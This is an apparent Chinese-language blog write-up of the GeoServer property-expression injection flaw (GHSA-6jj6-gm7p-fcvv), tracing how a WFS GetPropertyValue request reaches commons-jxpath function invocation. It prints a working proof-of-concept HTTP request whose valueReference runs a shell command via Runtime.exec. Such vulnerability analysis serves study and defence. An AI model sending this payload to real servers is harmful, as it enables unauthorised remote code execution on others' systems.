GeoServer_property_expression_injection学习
真爱和自由 发表于 四川 漏洞分析 611浏览 · 2024-09-24 12:22

GeoServer_property_expression_injection

简单介绍

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。
GeoServer2.23.6、2.24.4和2.25.2之前版本存在远程代码执行漏洞,该漏洞源于Geoserver使用的第三方库GeoTool因为使用了不安全的commons-jxpath 引擎处理xpath语句导致未授权能够通过发送各类OGC请求控制了复杂的xpath表达式并注入恶意代码从而rce。

环境搭建

https://sourceforge.net/projects/geoserver/files/GeoServer/2.25.1/geoserver-2.25.1-bin.zip/download

也可以使用p神的环境直接远程调试就好了

漏洞复现

发送post请求

POST /geoserver/wfs HTTP/1.1
Host: 192.168.177.146:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 355

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>

会报错,正常的

漏洞分析

我们知道漏洞的根源是在于commons-jxpath ,根据发送的公告

没有提供公开的 PoC,但已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞。

我们看看为什么是这些请求,这些请求是干嘛的

WFS 请求:GoServer 通过 WFS 实现矢量数据的查询和操作。用户可以通过 GetFeature 请求查询和下载地理特征数据,也可以使用 GetPropertyValue 仅提取感兴趣的属性信息。

WMS 请求:GoServer 使用 WMS 服务生成地图图像,并通过 GetMap 返回给用户。GetFeatureInfo 提供了一种交互方式,让用户能够获取地图上特定位置的详细信息。GetLegendGraphic 则用于生成地图的图例,帮助用户理解地图内容。

WPS 请求:GoServer 可以通过 WPS Execute 提供空间数据处理服务,允许用户通过简单的网络请求执行复杂的空间分析,而无需自己编写处理逻辑或消耗本地计算资源。

起始在于这些请求

我们从WFS GetPropertyValue请求分析,会经过handleRequestInternal:268, Dispatcher (org.geoserver.ows)方法调用到getPropertyValue方法

请求体如下

可以看到实例化GetPropertyValue对象后调用run方法

public ValueCollectionType getPropertyValue(GetPropertyValueType request) throws WFSException {
        return new GetPropertyValue(getServiceInfo(), getCatalog(), filterFactory).run(request);
    }

来到run方法

这里拆开方法来讲

if (request.getValueReference() == null) {
    throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
            .locator("valueReference");
} else if ("".equals(request.getValueReference().trim())) {
    throw new WFSException(
                    request,
                    "ValueReference cannot be empty",
                    ServiceException.INVALID_PARAMETER_VALUE)
            .locator("valueReference");
}

首先确保我们的value的值不能为空的,

然后

// do a getFeature request
        GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType();
        getFeature.setBaseUrl(request.getBaseUrl());
        getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression());
        getFeature.setResolve(request.getResolve());
        getFeature.setResolveDepth(request.getResolveDepth());
        getFeature.setResolveTimeout(request.getResolveTimeout());
        getFeature.setCount(request.getCount());

是在构建GetFeature 请求,WFS 的基础请求,用于查询地理要素。通过 GetPropertyValue 请求,用户实际上是在请求特定地理特征中的某个属性的值,所以这里需要构建一个完整的 GetFeature 请求。

然后这里就是在执行GetFeature请求

FeatureCollectionType fc =
        (FeatureCollectionType)
                delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee();

这里可以发现是在获取一些查询的信息了

QueryType query = (QueryType) request.getAbstractQueryExpression();
QName typeName = (QName) query.getTypeNames().iterator().next();
FeatureTypeInfo featureType =
        catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart());

下面是重点部分

这里就是在根据我们的信息进行处理了

PropertyName propertyName =
        filterFactory.property(request.getValueReference(), getNamespaceSupport());
PropertyName propertyNameNoIndexes =
        filterFactory.property(
                request.getValueReference().replaceAll("\\[.*\\]", ""),
                getNamespaceSupport());
AttributeDescriptor descriptor =
        (AttributeDescriptor)
                propertyNameNoIndexes.evaluate(featureType.getFeatureType());
boolean featureIdRequest =
        FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
if (descriptor == null && !featureIdRequest) {
    throw new WFSException(
            request, "No such attribute: " + request.getValueReference());
}

处理的逻辑是在evaluate方法

一路重载到AttributeExpressionImpl.java类的evaluate方法,这个方法就是用于通过属性访问器从给定对象中提取属性值。也就是我们

这里是使用lastAccessor,也就是缓存的,看看能不能访问到,不能走到下面的逻辑

PropertyAccessor accessor = lastAccessor;
if (accessor != null && accessor.canHandle(obj, attPath, target)) {
    try {
        value = accessor.get(obj, attPath, target);
        success = true;
    } catch (Exception e) {
        // fine, we'll try another accessor
    }
}

这里就是用其他的访问器去寻找属性。PropertyAccessors.findPropertyAccessors()方法是主要逻辑,根据对象、属性路径(attPath)和目标类型寻找其他合适的 PropertyAccessor

if (!success) {
    if (namespaceSupport != null && hints == null) {
        hints = new Hints(PropertyAccessorFactory.NAMESPACE_CONTEXT, namespaceSupport);
    }
    List<PropertyAccessor> accessors =
            PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints);
    List<Exception> exceptions = null;
    if (accessors != null) {
        for (PropertyAccessor propertyAccessor : accessors) {
            accessor = propertyAccessor;
            try {
                value = accessor.get(obj, attPath, target);
                success = true;
                break;
            } catch (Exception e) {
                // fine, we'll try another accessor
                if (exceptions == null) {
                    exceptions = new ArrayList<>();
                }
                exceptions.add(e);
            }
        }
    }

找到后就使用get方法去提取属性值了

这里找到的属性是

get:271, FeaturePropertyAccessorFactory$FeaturePropertyAccessor (org.geotools.data.complex.expression)

方法如下

public <T> T get(Object object, String xpath, Class<T> target)
                throws IllegalArgumentException {

            JXPathContext context =
                    JXPathUtils.newSafeContext(object, false, this.namespaces, true);
            Iterator it = context.iteratePointers(xpath);
            List results = new ArrayList<>();
            while (it.hasNext()) {
                Pointer pointer = (Pointer) it.next();
                if (pointer instanceof AttributeNodePointer) {
                    results.add(((AttributeNodePointer) pointer).getImmediateAttribute());
                } else {
                    results.add(pointer.getValue());
                }
            }

            if (results.isEmpty()) {
                throw new IllegalArgumentException("x-path gives no results.");
            } else if (results.size() == 1) {
                return (T) results.get(0);
            } else {
                return (T) results;
            }
        }

重点是在iteratePointers方法

观察调用栈就明白了

会在commons-jxpath:commons-jxpath进行解析,对我们的输入进行恶意的调用

一路回到

public Object computeValue(EvalContext context) {
    Object[] parameters = null;
    if (args != null) {
        parameters = new Object[args.length];
        for (int i = 0; i < args.length; i++) {
            parameters[i] = convert(args[i].compute(context));
        }
    }

    Function function =
        context.getRootContext().getFunction(functionName, parameters);
    if (function == null) {
        throw new JXPathFunctionNotFoundException("No such function: "
                + functionName + Arrays.asList(parameters));
    }
    Object result = function.invoke(context, parameters);
    return result instanceof NodeSet ? new NodeSetContext(context,
            (NodeSet) result) : result;
}

重点会function.invoke(context, parameters)

调用invoke方法

public Object invoke(ExpressionContext context, Object[] parameters) {
    try {
        Object target;
        Object[] args;
        if (Modifier.isStatic(method.getModifiers())) {
            target = null;
            if (parameters == null) {
                parameters = EMPTY_ARRAY;
            }
            int pi = 0;
            Class[] types = method.getParameterTypes();
            if (types.length >= 1
                && ExpressionContext.class.isAssignableFrom(types[0])) {
                pi = 1;
            }
            args = new Object[parameters.length + pi];
            if (pi == 1) {
                args[0] = context;
            }
            for (int i = 0; i < parameters.length; i++) {
                args[i + pi] =
                    TypeUtils.convert(parameters[i], types[i + pi]);
            }
        }
        else {
            int pi = 0;
            Class[] types = method.getParameterTypes();
            if (types.length >= 1
                && ExpressionContext.class.isAssignableFrom(types[0])) {
                pi = 1;
            }
            target =
                TypeUtils.convert(
                    parameters[0],
                    method.getDeclaringClass());
            args = new Object[parameters.length - 1 + pi];
            if (pi == 1) {
                args[0] = context;
            }
            for (int i = 1; i < parameters.length; i++) {
                args[pi + i - 1] =
                    TypeUtils.convert(parameters[i], types[i + pi - 1]);
            }
        }

        return method.invoke(target, args);
    }
    catch (Throwable ex) {
        if (ex instanceof InvocationTargetException) {
            ex = ((InvocationTargetException) ex).getTargetException();
        }
        throw new JXPathInvalidAccessException("Cannot invoke " + method,
                ex);
    }
}

判断我们的方法类型后调用方法对应的invoke方法

这个是当时我在windwos环境的图

最后再来解释一下paylaod

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>

typeNames 属性指定了要查询的要素类型

valueReference 元素指定了需要提取的具体属性路径,通常是一个xpath表达式

0 条评论
某人
表情
可输入 255